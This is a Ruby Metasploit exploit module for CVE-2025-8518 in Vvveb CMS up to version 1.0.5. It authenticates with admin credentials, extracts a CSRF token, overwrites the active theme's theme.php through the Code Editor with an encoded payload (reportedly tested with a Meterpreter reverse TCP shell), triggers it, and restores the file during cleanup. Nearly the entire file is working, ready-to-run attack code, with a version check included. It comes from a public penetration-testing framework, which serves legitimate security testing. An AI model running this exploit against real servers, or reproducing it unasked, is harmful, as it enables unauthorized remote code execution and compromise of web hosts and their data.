##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote Code Execution Vulnerability in Vvveb',
'Description' => %q{
Vvveb CMS is vulnerable to code injection via the Code Editor functionality.
Unsanitized editing functionality allows attacker-controlled changes to existing files on the web-accessible filesystem,
allowing remote authenticated attackers with access to the Code Editor to achieve code execution
when those modified files are executed or served by the application or web server.
This vulnerability affects Vvveb CMS versions up to and including 1.0.5.
Successful exploitation may result in the remote code execution under the privileges
of the web server, potentially exposing sensitive data or disrupting survey operations.
An attacker can execute arbitrary system commands in the context of the user running the web server.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Hamed Kohi' # Vulnerability Discovery
],
'References' => [
['CVE', '2025-8518'],
['URL', 'https://hkohi.ca/vulnerability/8']
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP
# Tested with php/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to Vvveb CMS', '/admin/']),
OptString.new('USERNAME', [true, 'The username used to authenticate to Vvveb CMS', 'admin']),
OptString.new('PASSWORD', [true, 'The password used to authenticate to Vvveb CMS', ''])
]
)
end
def get_csrf_token
print_status('Fetching CSRF token...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
html = res.get_html_document
csrf_input = html.at('input[name="csrf"]')
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token") unless csrf_input
token = csrf_input.attributes.fetch('value', nil)
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty") if token.blank?
print_good("Token successfully fetched: #{token}")
token.to_s
end
def login(raise_on_fail: true)
csrf_token = get_csrf_token
print_status('Attempting login...')
post_data = Rex::MIME::Message.new
post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrf"')
post_data.add_part('', nil, nil, 'form-data; name="redir"')
post_data.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user"')
post_data.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'vars_get' => { 'module' => 'user/login' },
'data' => post_data.to_s
)
if raise_on_fail
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::NoAccess, "#{peer} - Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}") if res.body.include?('wrong email or password')
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 302
else
return CheckCode::Unknown('It was not possible to determine the software version because a network error occurred during the authentication process') unless res
return CheckCode::Unknown("It was not possible to determine the software version because the provided credenaials #{datastore['USERNAME']}:#{datastore['PASSWORD']} are invalid") if res.body.include?('wrong email or password')
return CheckCode::Unknown('It was not possible to determine the software version because an unknown network error code was returned during the authentication process') unless res.code == 302
end
@logged_in = true
print_good('Login successful')
return
end
def get_active_theme_path
print_status('Identifying the active theme path...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => { 'module' => 'theme/themes' }
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
active_theme = res.get_html_document.at('div.list-card.active')
fail_with(Failure::UnexpectedReply, "#{peer} - Card with the active theme was not found") if active_theme.blank?
theme_preview = active_theme.at('.card-img-top img').attributes.fetch('src', nil)
fail_with(Failure::UnexpectedReply, "#{peer} - Preview of the active theme card was not found") if theme_preview.blank?
theme_dir = File.dirname(theme_preview)
theme_path = theme_dir + '/theme.php'
print_good("Theme path successfully identified: #{theme_path}")
theme_path
end
def get_theme_content(theme_path)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => {
'module' => 'editor/code',
'action' => 'loadFile',
'type' => 'themes',
'file' => theme_path
}
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
res.body
end
def set_theme_content(theme_path, content)
post_data = Rex::MIME::Message.new
post_data.add_part(content, nil, nil, 'form-data; name="content"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'vars_get' => {
'module' => 'editor/code',
'action' => 'save',
'type' => 'themes',
'file' => theme_path
},
'data' => post_data.to_s
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") if res.code != 200
end
def trigger_payload(_theme_path)
print_status('Triggering payload...')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => {
'module' => 'editor/editor',
'url' => '/',
'template' => 'index.html'
}
)
end
def set_payload(theme_path)
print_status('Setting up payload...')
set_theme_content(theme_path, payload.encoded)
print_good('Payload setup complete')
end
def check
error_message = login(raise_on_fail: false)
return error_message if error_message
print_status('Checking version...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => { 'module' => 'tools/systeminfo' }
)
return CheckCode::Detected('Authentication process completed successfully. It means that the server uses Vvveb CMS. However, it was not possible to determine the software version because a network error occurred during the request to the software version page') unless res
return CheckCode::Detected("Authentication process completed successfully. It means that the server uses Vvveb CMS. However, it was not possible to determine the software version because the server returned an unknown status code #{res.code} during the request to the software version page") unless res.code == 200
version_td = res.get_html_document.at('tr:has(th:contains("Vvveb version")) td')
return CheckCode::Detected('Authentication process and the request to the software version page both completed successfully. It means that the server uses Vvveb CMS. However, The Vvveb version tag was not found on the software version page') if version_td.nil?
version = Rex::Version.new(version_td&.text&.strip)
return CheckCode::Appears("Detected version #{version}, which is vulnerable") if version <= Rex::Version.new('1.0.5')
CheckCode::Safe("Detected version #{version}, which is not vulnerable")
end
def cleanup
begin
set_theme_content(@theme_path, @default_theme_content) unless @theme_path.nil? && @default_theme_content.nil?
rescue StandardError
# After receiving the shell, when calling the set_theme_content, the server times out, but there is no need to return an error.
end
super
end
def exploit
login(raise_on_fail: true) unless @logged_in
@theme_path = get_active_theme_path
@default_theme_content = get_theme_content(@theme_path)
set_payload(@theme_path)
trigger_payload(@theme_path)
end
end